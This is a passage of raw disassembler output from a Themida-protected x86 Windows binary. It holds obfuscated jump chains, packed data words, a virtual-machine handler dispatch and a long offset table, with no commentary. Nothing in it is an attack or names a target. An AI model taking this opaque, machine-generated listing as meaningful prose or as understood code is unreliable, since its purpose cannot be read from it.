		dd 86D2F6D5h, 0B25266D5h, 66D530CDh, 59E8005Ah,	0C6468h
		dd 24148900h, 3FF168h, 240C8900h, 0B1F0B450h, 8BE10072h
		dd 0C4812404h, 4, 0C8BCE88h, 9E32E924h,	77FFFFFFh, 59669D1Ch
		dd 9C2414D2h, 0FF4643E9h, 86FAB2FFh, 0F6CF86FAh, 0E9CF86D1h
		dd 0FFFFC871h, 6FE9E6D1h, 5DFFFF8Bh, 74A468h, 241C8900h
		dd 0FFED41E9h, 4C483FFh, 0FF8B11E9h, 5D8835FFh,	0CA2D42C6h
		dd 353C5764h, 9C667CF0h, 158C629h, 2BC681C6h, 6806870Dh
		dd 191Eh, 52241C89h, 41691BBAh,	5AD38958h, 0D104EBC1h
		dd 6026E9EBh, 5F54FFFFh, 309168h, 24048900h, 4B8h, 1CEF8100h
		dd 5377B918h, 0EA1459BBh, 5BDF016Fh, 0FF8299E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F365:				; CODE XREF: Themida_:0054E708j
		sub	esi, 18E92B67h
		push	edx
		jmp	loc_549A60
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0F5h
		dd 4200081Dh, 2C8BEF01h, 4C48124h, 55000000h, 0FF8F91E9h
		dd 4596E9FFh, 0BA52FFFFh, 30612C5Dh, 0FF8766E9h, 240C89FFh
		dd 0A7243481h, 5A50180Bh, 0FF67AAE9h, 4C381FFh,	83000000h
		dd 0DAE904EBh
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F3B7:				; CODE XREF: Themida_:00546D9Cj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	ebp
		add	dword ptr [esp], offset	byte_4355E1
		jmp	loc_5476A5
; ---------------------------------------------------------------------------
		db 0FFh
		dd 4AE92434h, 66FFFFFEh, 49E99C51h, 0C1FFFF45h,	0BE5605E8h
		dd 276E2273h, 2706E681h, 0E681170Eh, 37A12C6Ah,	0FFCAB7E9h
		dd 24148BFFh, 4C481h, 80590000h, 0D96825CBh, 89000068h
		dd 15B42404h, 0ECB75366h, 5B66FC30h, 0F605E4C0h, 0E1E8E9DCh
		dd 3431FFFFh, 24343324h, 0E924248Bh, 0FFFF7D4Ah, 3104C483h
		dd 0F4E95DE9h, 5CFFFFAEh, 54241489h, 0C416E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F442:				; CODE XREF: Themida_:005476F4j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54F14E
; ---------------------------------------------------------------------------
		dd 0C140D0F7h, 0C14007E0h, 0D0F707E8h, 465FE135h, 0E9C701FEh
		dd 0FFFFE152h, 2414F753h, 0FF8956E9h, 8AB951FFh, 812A870Ch
		dd 4E6341C9h, 4D89E95Ch, 0EF81FFFFh, 180F7198h,	52242C8Bh
		dd 0C2815A54h, 4, 0FFC9A2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F499:				; CODE XREF: Themida_:0054BE36j
		dec	ecx
		xchg	ecx, ebp
		push	esi
		jmp	loc_54568C
; ---------------------------------------------------------------------------
		dw 55Eh
		dd 4, 2474FF50h, 24048B04h, 8F04C483h, 0FF5C2404h, 34FF2434h
		dd 24048B24h, 4C481h, 0C4830000h, 0F025E904h, 8B66FFFFh
		dd 68522404h, 79FDh, 0E9242489h, 0FFFF9A56h, 4C281h, 0BD550000h
		dd 55FE7384h, 20CC581h,	0EDC100CBh, 81D5F707h, 9256EAE5h
		dd 4C58107h, 1F8EDBCh, 2DE95DEAh, 0F7FFFF99h, 0ADF281DAh
		dd 31EB15E7h, 0C6815AD6h, 6CBF684Ch, 14E9F331h,	89FFFF7Ch
		dd 4C781E7h, 81000000h,	4EFh, 243C3300h, 0FFB4FFE9h, 4D35CFFh
		dd 0E1E99C24h, 33FFFF43h, 57E9240Ch, 8BFFFFB8h,	0FF562424h
		dd 8B042474h, 0C4812434h, 4, 8B24048Fh,	7EE92424h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F567:				; CODE XREF: Themida_:00548F43j
		pop	esi
		or	eax, eax
		jz	loc_54416D
		push	dword ptr [edi+1Ch]
		push	ebx
		push	ebp
		push	4CD67D13h
		pop	ebp
		sub	ebp, 1
		add	ebp, 0D9499295h
		mov	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_54BABA
; ---------------------------------------------------------------------------
		db 5Fh
		dd 5305E6C1h, 626D2FBBh, 1C38374h, 0C108EBC1h, 24E906EBh
		dd 68FFFFF9h, 80Fh, 68240C89h, 7E0Ah, 815A5452h, 4C2h
		dd 4EA8300h, 5C241487h,	24048F54h, 4BE56h, 0BCE90000h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F5DB:				; CODE XREF: Themida_:0054B26Dj
		add	ah, 8Fh
		add	bl, ah
		pop	eax
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h
		dd 0FFA4CBE9h, 243C89FFh, 42474FFh, 0FFD318E9h,	4C481FFh
		dd 68000000h, 3E8Ah, 0FFBD1CE9h, 0C18159FFh, 4,	8904EC83h
		dd 0FDE9243Ch, 5DFFFFF1h, 0FFE86DE9h, 67E956FFh, 0E9FFFFFDh
		dd 0FFFF42F8h, 0E924148Bh, 0FFFF9986h, 0E398E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F63A:				; CODE XREF: Themida_:005451D1j
		mov	ebx, esp
		push	edi
		mov	edi, 4
		jmp	loc_549825
; ---------------------------------------------------------------------------

loc_54F647:				; CODE XREF: Themida_:0054AA33j
		add	esp, 4

loc_54F64A:				; CODE XREF: Themida_:00543A27j
		push	ebp
		sub	esp, 4
		jmp	loc_54C4B9
; ---------------------------------------------------------------------------
		db 81h
		dd 0A90937C3h, 0E9CB0135h, 0FFFF4CB6h, 0E23019B4h, 0D3885866h
		dd 0FFD8305Ah, 815B2434h, 4C4h,	2EB55100h, 4DEEE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F67E:				; CODE XREF: Themida_:0054CF69j
		pop	ecx
		pop	ebp
		xchg	ecx, [edi+24h]
		jmp	loc_545DDD
; ---------------------------------------------------------------------------
		dd 405h, 40500h, 4870000h, 4875C24h, 24D35C24h,	4282E924h
		dd 0C781FFFFh, 4, 1A9B850h, 0BE5645CDh,	7C3A4193h, 0FFDDA7E9h
		dd 0F18851FFh, 0E959C888h, 0FFFF4B2Ch, 8004EBC0h, 0EB807BEBh
		dd 0E3EB8098h, 2CCAF380h, 7D9EE9E9h, 0D800FFFFh, 0E9E22C5Bh
		dd 0FFFF54ACh, 6E79CB81h, 0E943645Ah, 0FFFFD1F9h
; ---------------------------------------------------------------------------

loc_54F6F0:				; CODE XREF: Themida_:0054F7CEj
		add	esp, 4
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jmp	loc_543D22
; ---------------------------------------------------------------------------
		dd 3C8BF901h, 4C48324h,	28ECBF57h, 0EFC10578h, 0F7EF8707h
		dd 0CFE5E9DDh, 48BFFFFh, 4EC8124h, 0E9000000h, 0FFFFCA0Eh
		dd 2BF575Bh, 1000000h, 14335FFAh, 24143124h, 5C241433h
		dd 9C240408h, 0FF41DFE9h, 66602CFFh, 8324148Bh,	53E902C4h
		dd 80FFFF7Eh, 0C386BBF3h, 0C4E9D0F6h
		db 43h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F75F:				; CODE XREF: Themida_:0054DC65j
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_5474BC
; ---------------------------------------------------------------------------
		dw 0D829h
		dd 6805102Dh, 241C8B09h, 22EE9h, 0F7EBA00h, 0D7296556h
		dd 0FFD546E9h, 173B68FFh, 1C890000h, 4EC8324h, 0FFAEDAE9h
		dd 391BBFFh, 0DBF702D6h, 0E956DBF7h, 0FFFFBB1Ch, 0FF417BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F7A9:				; CODE XREF: Themida_:005474D5j
		push	dword ptr [esp]
		pop	edi
		push	esi
		jmp	loc_54BF3E
; ---------------------------------------------------------------------------
		db 0B2h
		dd 484EE93Eh, 0F381FFFFh, 25941487h, 0AA3DEB81h, 0D8298E8Eh
		dd 0FF972AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F7CD:				; CODE XREF: Themida_:00547ECCj
		pop	esp
		jmp	loc_54F6F0
; ---------------------------------------------------------------------------
		db 83h
		dd 885304C4h, 0BB16E9CFh, 742DFFFFh, 298637CCh,	0CB8958C1h
		dd 0F0C38159h, 11E9D0Ah, 0F06850FBh, 581E9D0Ah,	6858C329h
		dd 23AAh, 0B9240C89h, 0
		dd 77DEE981h, 0B9E958BFh
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F813:				; CODE XREF: Themida_:005478AAj
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		not	dword ptr [esp]
		pop	edx
		add	edx, 1
		push	edi
		jmp	loc_548A6C
; ---------------------------------------------------------------------------
		dd 5C241C33h, 0FF9EDAE9h, 0E9028FFFh, 52Fh, 5404EC83h
		dd 0FFBCEFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F845:				; CODE XREF: Themida_:00548BF7j
		pop	ebx
		push	5CD8h
		mov	[esp], edx
		mov	dh, ah
		mov	cl, dh
		mov	edx, [esp]
		jmp	loc_54C2BB
; ---------------------------------------------------------------------------
		dw 0E95Dh
		dd 0FFFFEF29h, 18A56859h, 0C890000h, 0E92CB124h, 0FFFF7ACFh
		dd 4606B850h, 6D2543E2h, 0E966224Eh, 0FFFFD2E1h, 32396851h
		dd 41592BDEh, 4903E1C1h, 0E9525650h, 0FFFF9D15h
; ---------------------------------------------------------------------------

loc_54F894:				; CODE XREF: Themida_:00549FFCj
		pop	ecx
		sub	edx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_54C355
; ---------------------------------------------------------------------------

loc_54F8A5:				; CODE XREF: Themida_:0054BB8Fj
		add	[esp+8], ebp
		jmp	loc_547471
; ---------------------------------------------------------------------------
		dw 1BB9h
		dd 8161FF0Bh, 0A89C27E9h, 59CE8940h, 0FC68146h,	81DEA991h
		dd 0A838B8EAh, 0E9F2016Dh, 0FFFF6CD5h, 0C280BAB2h, 0DC57E997h
		dd 4C01FFFFh, 0DAE90424h, 5BFFFFF8h, 8759CA01h,	248B2414h
		dd 0C8B6624h, 0E7895724h, 4C781h, 0EF810000h, 4, 8B243C87h
		dd 14892424h, 68E28924h, 33Eh, 51243489h, 0FFFF95E9h, 242C81FFh
		dd 0BE11B84h, 0FFF327E9h, 4C481FFh, 8F000000h, 248B2404h
		dd 24148924h, 0E9E99C50h, 58FFFF3Fh, 0FFF24DE9h, 8BD089FFh
		dd 0EC812414h, 4, 89241489h, 4C281E2h, 83000000h, 148704C2h
		dd 24248B24h, 202FB05h,	56E8D15Ah, 0FFBE9DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F96D:				; CODE XREF: Themida_:0054C6DDj
		push	esp
		pop	esi
		add	esi, 4
		push	ebx
		mov	ebx, 28E266A9h
		push	esi
		jmp	loc_54969A
; ---------------------------------------------------------------------------

loc_54F981:				; CODE XREF: Themida_:00547315j
		add	ebp, ecx
		add	ebp, 42C63476h
		sub	ebp, 6C8536B2h
		pop	ecx
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xor	ebp, [esp]
		jmp	loc_5439A5
; ---------------------------------------------------------------------------

loc_54F9A1:				; CODE XREF: Themida_:00543D1Dj
		push	ecx
		jmp	loc_5460F1
; ---------------------------------------------------------------------------
		db 52h
		dd 0E955E289h, 0FFFFEF16h
; ---------------------------------------------------------------------------

loc_54F9B0:				; CODE XREF: Themida_:0054CF85j
		sub	esp, 4
		jmp	loc_54BAD1
; ---------------------------------------------------------------------------
		dd 6624248Bh, 9C240CFFh, 0FF3F5FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F9C5:				; CODE XREF: Themida_:0054965Dj
		push	dword ptr [esp]
		pop	ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_546B7F
; ---------------------------------------------------------------------------

loc_54F9D6:				; CODE XREF: Themida_:0054923Fj
		or	edx, eax
		shl	edx, 1
		push	eax
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_547899
; ---------------------------------------------------------------------------
		db 66h,	9, 4
		dd 0FE99C24h
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F9F3:				; CODE XREF: Themida_:0054D31Fj
		mov	ebp, 70D241F7h
		sub	ebp, 6DC5033Eh
		jmp	loc_54D490
; ---------------------------------------------------------------------------

loc_54FA03:				; CODE XREF: Themida_:0054E98Aj
		add	esp, 4
		add	eax, 232F1C6Ah
		push	6A53h
		mov	[esp], ebx
		jmp	loc_54B41D
; ---------------------------------------------------------------------------

loc_54FA1B:				; CODE XREF: Themida_:0054752Fj
		shl	ch, 1
		jmp	loc_549FA1
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48324h, 2C8BEA29h,	4C48324h, 0FFE8FDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54FA35:				; CODE XREF: Themida_:00545A9Fj
		shr	ecx, 0
		or	eax, eax
		jz	loc_543FD7
		push	ecx
		mov	ecx, esp
		push	edx
		mov	edx, 38BC2E8Ah
		push	ebp
		mov	ebp, 4CDD70DBh
		inc	ebp
		xor	ebp, 754480Dh
		jmp	loc_548988
; ---------------------------------------------------------------------------

loc_54FA5B:				; CODE XREF: Themida_:0054C7EEj
		push	ebp
		mov	ebp, 6A193A83h
		push	edi
		mov	edi, 59D7420Ah
		sub	ebp, edi
		pop	edi
		xor	ebp, 57C53FF1h
		neg	ebp
		jmp	loc_548CA1
; ---------------------------------------------------------------------------
		db 54h
		dd 40558h, 0BF570000h, 4, 875FF801h, 0E95C2404h, 0FFFF3E94h
		dd 8904EC83h, 0EC812414h, 4, 81242489h,	42404h,	148B0000h
		dd 0E2895224h, 4C281h, 0C2830000h, 24148704h, 4C2815Ch
		dd 55000000h, 0E60713BDh, 0B9514509h, 0ED77B99h, 0FFAA2FE9h
		dd 24248BFFh, 9C2424D3h, 0FFF8ACE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54FADD:				; CODE XREF: Themida_:0054422Aj
		not	dword ptr [esp]
		pop	ebp
		push	edi
		jmp	loc_547E91
; ---------------------------------------------------------------------------

loc_54FAE7:				; CODE XREF: Themida_:00547795j
		add	esp, 4
		xor	[edi+24h], ecx
		push	ecx
		push	ebp
		pop	ecx
		push	dword ptr [esp]
		pop	ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54ED13
; ---------------------------------------------------------------------------

loc_54FB02:				; CODE XREF: Themida_:0054591Cj
		shr	edi, 5
		neg	edi
		jmp	loc_54C436
; ---------------------------------------------------------------------------

loc_54FB0C:				; CODE XREF: Themida_:0054E2FCj
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 3DB81243h
		jmp	loc_54BE34
; ---------------------------------------------------------------------------
		dd 709C6852h, 0E95A1E77h, 0FFFFCFDEh, 9D1C77FFh, 14D35966h
		dd 0E1E99C24h, 28FFFF3Dh, 0EC835AF0h, 240C8904h, 0FFACC9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54FB51:				; CODE XREF: Themida_:0054719Aj
		add	edx, 4
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54437B
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 99h
		dd 586CA44Dh, 8159CE01h, 4ECh, 24348900h, 42474FFh, 24048F5Eh
		dd 243CD35Ch, 3D96E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FB8E:				; CODE XREF: Themida_:0054B17Cj
		sub	ebx, edi
		sub	ebx, 1CB81E2Ch
		pop	edi
		push	small word ptr [eax]
		jmp	loc_543924
; ---------------------------------------------------------------------------
		db 55h
		dd 2BDh, 5DEE0100h, 0FF8CA0E9h,	0EE668FFh, 14890000h, 4B3ABA24h
		dd 81425478h, 0D557F8F2h, 0EAEDE970h, 2C89FFFFh, 178BD24h
		dd 0A6E96B35h, 0BBFFFFECh, 468E59D9h, 215BDF89h, 0F78FE9FDh
		dd 0EA29FFFFh, 58E7EA81h, 335D598Ah, 14312414h,	24143324h
		dd 6624248Bh, 66240C89h, 0E9C8B60Fh, 0FFFFF7CFh, 0D2E5EF81h
		dd 0EC83DB6Fh, 24048904h, 0FFEB36E9h, 50665CFFh, 79A2E952h
		dd 5457FFFFh, 4B8505Fh,	1000000h, 0C78158C7h, 4, 0E9243C87h
		dd 0FFFFF48Bh, 15E9D101h, 52FFFF61h, 0FF4589E9h, 0C8B66FFh
		dd 0E6895624h, 4C681h, 0EE810000h, 4, 0FF96FBE9h, 0ACC780FFh
		dd 2805F780h, 241C8BF8h, 0FFAA50E9h, 0C4835DFFh, 3CAEE904h
		dd 0EE31FFFFh, 0FF9818E9h, 0D0F792FFh, 4EC8352h, 5A240489h
		dd 0FFE5FFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54FC8D:				; CODE XREF: Themida_:0054453Dj
		sub	edx, 510F164Bh
		jmp	loc_54984E
; ---------------------------------------------------------------------------

loc_54FC98:				; CODE XREF: Themida_:005444ECj
		and	edi, 19D70780h
		jmp	loc_54611C
; ---------------------------------------------------------------------------
		db 68h
		dd 5C93h, 53243489h, 0DE89C389h, 0E92434FFh, 0FFFFCC39h
		dd 0E9240C89h, 0FFFF3C64h, 5453F9F7h, 0E9241C8Bh, 0FFFFC35Ch
		dd 4624ED81h, 348B1E78h, 4C48124h, 83000000h, 0C8904ECh
		dd 2B924h, 0CD010000h, 0FFEE08E9h, 0C9E95CFFh, 89FFFF7Bh
		dd 5FBB241Ch, 81117164h, 80250EF3h, 0FB6AE92Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FD06:				; CODE XREF: Themida_:005476B6j
		and	eax, esi
		pop	esi
		or	edx, eax
		shl	edx, 1
		jmp	loc_548BFC
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 240C8B24h, 5304C483h, 0E904EC83h, 0FFFF908Dh, 4BEh
		dd 0C4C38100h, 143DA4Fh, 0C4EB81F3h, 5E43DA4Fh,	2474FF53h
		dd 0E84BE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FD42:				; CODE XREF: Themida_:0054C301j
		pop	esp
		mov	[esp], eax
		jmp	loc_54477B
; ---------------------------------------------------------------------------
		db 89h
		dd 0DFF758C7h, 0F3EDEF81h, 0FB0191EAh, 0FFC22DE9h, 80E959FFh
		dd 33FFFFBEh, 1CE9241Ch, 0E9FFFF7Dh, 0FFFF3BB4h, 3B9A8D8Dh
		dd 9F69DDh, 0
		dd 7FFE0304h, 5A1236h, 53DDAEh,	0FA4CBC59h, 217h, 2, 2 dup(1)
		dd 0FA4CBC59h, 5 dup(0)
		dd offset word_563BBE
		dd offset byte_551209
		dd offset byte_55AF79
		dd offset byte_559999
		dd offset word_56352A
		dd offset dword_55C4E4
		dd offset byte_550581
		dd offset word_562BFE
		dd offset byte_5545CF
		dd offset byte_562C97
		dd offset byte_561903
		dd offset byte_553D61
		dd offset dword_5636A8
		dd offset byte_5562F7
		dd offset byte_563BF5
		dd offset byte_5614CB
		dd offset dword_5646A0
		dd offset word_554192
		dd offset word_553FD6
		dd offset word_55D81A
		dd offset byte_55F6F1
		dd offset dword_557C0C
		dd offset word_563DDE
		dd offset word_55EA06
		dd offset byte_5511F7
		dd offset byte_557BE7
		dd offset word_562F6E
		dd offset dword_551F00
		dd offset dword_55B0F4
		dd offset byte_565217
		dd offset word_5635A6
		dd offset word_556232
		dd offset dword_5613A0
		dd offset byte_56372F
		dd offset dword_5584D8
		dd offset word_558D02
		dd offset byte_561C29
		dd offset byte_56079F
		dd offset byte_55739B
		dd offset aVse@		; "VéE@"
		dd offset dword_551268
		dd offset byte_5649C7
		dd offset dword_55B4B8
		dd offset byte_5645FB
		dd offset word_561856
		dd offset byte_5577F3
		dd offset byte_558AC5
		dd offset byte_55F0CD
		dd offset byte_561D3D
		dd offset byte_560111
		dd offset dword_55A718
		dd offset byte_554D5D
		dd offset aNhs6		; "­h™6"
		dd offset aMsc		; "Žc&"
		dd offset dword_55C2D8
		dd offset word_555616
		dd offset byte_565437
		dd offset byte_56383F
		dd offset dword_55957C
		dd offset byte_551ED1
		dd offset byte_55D747
		dd offset word_551452
		dd offset byte_55B705
		dd offset byte_55FB33
		dd offset byte_55E053
		dd offset word_554CA6
		dd offset byte_55CE7D
		dd offset word_552242
		dd offset byte_55DE59
		dd offset byte_560C37
		dd offset dword_559930
		dd offset byte_5616D5
		dd offset dword_556460
		dd offset byte_55ADAB
		dd offset byte_550287
		dd offset byte_552837
		dd offset word_5625DA
		dd offset byte_564A21
		dd offset aPhil		; "Phˆl"
		dd offset word_5519BE
		dd offset byte_55F883
		dd offset byte_552B9D
		dd offset word_55FE1E
		dd offset word_55D2AE
		dd offset byte_557267
		dd offset dword_551C2C
		dd offset byte_555F07
		dd offset dword_560328
		dd offset word_5506EE
		dd offset word_5603BE
		dd offset byte_55A7DD
		dd offset word_5513FE
		dd offset word_55F11A
		dd offset byte_55B983
		dd offset byte_564AC7
		dd offset word_563B3E
		dd offset byte_55B797
		dd offset byte_55BE95
		dd offset word_554EEA
		dd offset byte_5607F1
		dd offset byte_56030F
		dd offset word_559E0A
		dd offset dword_561930
		dd offset byte_562D79
		dd offset word_563FB6
		dd offset byte_564509
		dd offset byte_5535B7
		dd offset word_55F25A
		dd offset byte_55EDF5
		dd offset byte_55B843
		dd offset byte_552009
		dd offset byte_5504D7
		dd offset byte_555291
		dd offset byte_5548B9
		dd offset dword_55E8E0
		dd offset word_559CAA
		dd offset word_5502F6
		dd offset word_55100E
		dd offset byte_561023
		dd offset byte_553297
		dd offset word_556D1E
		dd offset byte_551FD7
		dd offset byte_55F2DD
		dd offset dword_5510CC
		dd offset byte_556DB9
		dd offset word_55C29A
		dd offset word_564906
		dd offset dword_551390
		dd offset byte_553807
		dd offset byte_55C0F9
		dd offset byte_5520F1
		dd offset byte_55CEEB
		dd offset byte_55D671
		dd offset aMfrs8y	; "¬fRé8Y"
		dd offset aM0SAiiaIsF	; "¬0ØS³Å€ë¨€Ëié¾”"
		dd offset byte_56208D
		dd offset word_5571C6
		dd offset byte_55DA33
		dd offset word_5556C6
		dd offset word_557CDA
		dd offset byte_55142F
		dd offset byte_56196D
		dd offset dword_5633BC
		dd offset dword_563370
		dd offset byte_5651A1
		dd offset byte_55B063
		dd offset byte_55A64B
		dd offset dword_55CA4C
		dd offset byte_55468D
		dd offset byte_55EEC7
		dd offset byte_55BA81
		dd offset dword_55B124
		dd offset byte_563481
		dd offset byte_55BBE9
		dd offset byte_5646F9
		dd offset dword_561B94
		dd offset dword_552A8C
		dd offset word_555D9E
		dd offset byte_552111
		dd offset byte_56065B
		dd offset byte_55D32B
		dd offset dword_550BD4
		dd offset loc_563454
		dd offset byte_55E539
		dd offset byte_558B3F
		dd offset byte_5623BF
		dd offset byte_5536D1
; ---------------------------------------------------------------------------

loc_550050:				; CODE XREF: Themida_:005A11B9j
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 60843FFh
		mov	eax, edi
		add	edi, 6084117h
		cmp	eax, [edi+2Ch]
		jnz	short loc_55006E
		jmp	short loc_550081
; ---------------------------------------------------------------------------

loc_55006E:				; CODE XREF: Themida_:0055006Aj
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_55007D
; ---------------------------------------------------------------------------

loc_550078:				; CODE XREF: Themida_:0055007Fj
		add	[edi+ecx*4+40h], eax
		dec	ecx

loc_55007D:				; CODE XREF: Themida_:00550076j
		or	ecx, ecx
		jnz	short loc_550078

loc_550081:				; CODE XREF: Themida_:0055006Cj
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1

loc_55008E:				; CODE XREF: Themida_:00550095j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_55008E

loc_550097:				; CODE XREF: Themida_:00552DB6j
					; Themida_:loc_552E91j	...
		lodsb
		jmp	loc_55C74C
; ---------------------------------------------------------------------------
		db 5Bh,	57h, 52h
		dd 147E1E9h, 47EC8000h,	0E958E100h, 18B2h, 0B951D001h
		dd 2FB4CE7h, 14D6EE9h, 4C48100h, 68000000h, 1EB2h, 0FF243489h
		dd 8B042474h, 89572434h, 4C781E7h, 81000000h, 4C7h, 243C8700h
		dd 24048F5Ch, 0E924248Bh, 7B75h, 15EF131h, 0FB2959CBh
		dd 917BE956h, 835B0000h, 1C8904ECh, 0BF575124h,	15B719C1h
		dd 4097E9h, 0ECC18100h,	0C160F912h, 0C18102E1h,	99B0CF34h
		dd 13931E9h
		db 0
; ---------------------------------------------------------------------------

loc_550125:				; CODE XREF: Themida_:00550FFCj
		pop	ebx
		mov	ebx, [esp]
		jmp	loc_55848B
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 4, 2ED81h, 2C330000h, 242C3124h, 0E9242C33h,	94A4h
		dd 3BEB68h, 240C8900h, 5DBFBB53h, 0C381596Fh, 50D720BFh
		dd 11667E9h, 9D2D4800h,	1BDA4F1h, 0D50158C5h, 0BB9EE957h
		dd 0F5810000h, 3F623D2Fh, 0A2A2E9h
		db 0
; ---------------------------------------------------------------------------

loc_55017D:				; CODE XREF: Themida_:0055B229j
		mov	esi, ecx
		pop	ecx
		xor	edx, esi
		push	dword ptr [esp]
		jmp	loc_5540C7
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0E2895204h, 0E1C9E9h, 55485A00h, 4C191EBDh, 0E9E80963h
		dd 0E841h, 0A868E3B9h, 8C9815Ah, 0E932B612h, 684h, 83243C8Bh
		dd 48704C4h, 24248B24h,	24048F66h, 0FFFECEE9h, 14C068FFh
		dd 14890000h, 4BB05024h, 4FE5066h, 2C586624h, 8BC2880Fh
		dd 89562404h, 4C681E6h,	83000000h, 348704C6h, 0C2805C24h
		dd 5EA0E92Ch, 84B70000h, 5555E9h
		db 0
; ---------------------------------------------------------------------------

loc_550201:				; CODE XREF: Themida_:00560DE6j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55C90A
; ---------------------------------------------------------------------------
aBsim8usS	db 'éIm8u霘',0
		align 2
		dw 248Bh
		dd 24042124h, 0FE6DE99Ch, 0E389FFFFh, 4C381h, 0C3830000h
		dd 241C8704h, 1198BE9h
		db 0
; ---------------------------------------------------------------------------

loc_55023D:				; CODE XREF: Themida_:00551CA5j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	ebp
		push	52Fh
		mov	[esp], eax
		jmp	loc_55ADF6
; ---------------------------------------------------------------------------
		db 5
		dd 74822598h, 0E906E8C1h, 0BC7Dh, 4AF9E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55026E:				; CODE XREF: Themida_:00553DA6j
		sub	cl, 5Dh
		xor	ah, cl
		pop	ecx
		sub	bl, ah
		mov	eax, [esp]
		add	esp, 4
		movzx	eax, al
		jmp	loc_563BB9
; ---------------------------------------------------------------------------
byte_550287	db 66h			; DATA XREF: Themida_:0054FEDCo
		dd 5524048Bh, 242C8B54h, 4C481h, 0C5810000h, 4,	3EC3BB53h
		dd 2CE96D82h, 89000100h, 0BF5752E5h, 1C615AEEh,	0C15FFA89h
		dd 0EAC106E2h, 0B7EA8108h, 0E9001856h, 7A58h, 802CCC80h
		dd 0EC80D8C4h, 58E980B4h, 0C180E128h, 32C2E958h, 0C1810001h
		dd 7FC8F6CCh, 0C8BCB89h, 4C48124h, 50000000h, 0E6676FB8h
		dd 0EF2CE962h
		db 2 dup(0)
word_5502F6	dw 0E9ACh		; DATA XREF: Themida_:0054FF84o
		dd 11B26h
; ---------------------------------------------------------------------------

loc_5502FC:				; CODE XREF: Themida_:0056282Aj
		pop	edx
		jmp	loc_564638
; ---------------------------------------------------------------------------
		dw 4C01h
		dd 55E90424h, 3300004Dh, 34312434h, 24343324h, 5024248Bh
		dd 4B8h, 0CDEE8100h, 81648524h,	8B0E1AC6h, 81C6014Dh, 8B0E1AEEh
		dd 0CDC6814Dh, 8B648524h, 0C4832404h, 65556804h, 0ACE90000h
		dd 5E000017h, 8904EC83h, 51562414h, 0AF2482B9h,	7AB5E969h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55035A:				; CODE XREF: Themida_:0055B01Dj
		add	ebp, 830A0DB4h
		mov	ebx, ebp
		jmp	loc_56132F
; ---------------------------------------------------------------------------

loc_550367:				; CODE XREF: Themida_:0055B519j
		add	edx, edi
		push	ebx
		mov	ebx, 4958422Dh
		sub	edx, ebx
		jmp	loc_5597EB
; ---------------------------------------------------------------------------

loc_550376:				; CODE XREF: Themida_:00551263j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	dword ptr [esp+4], 56B839ADh
		sub	[esp+4], ecx
		jmp	loc_564F14
; ---------------------------------------------------------------------------

loc_550391:				; CODE XREF: Themida_:00561FFAj
		mov	ebx, ecx
		pop	ecx
		jmp	loc_55094A
; ---------------------------------------------------------------------------
		db 57h,	0F7h, 14h
		dd 81475F24h, 1D1909CFh, 0E9D7F711h, 849Eh, 314ABCBBh
		dd 6EBC13Fh, 948FE9h, 59C82900h, 5C240487h, 53241489h
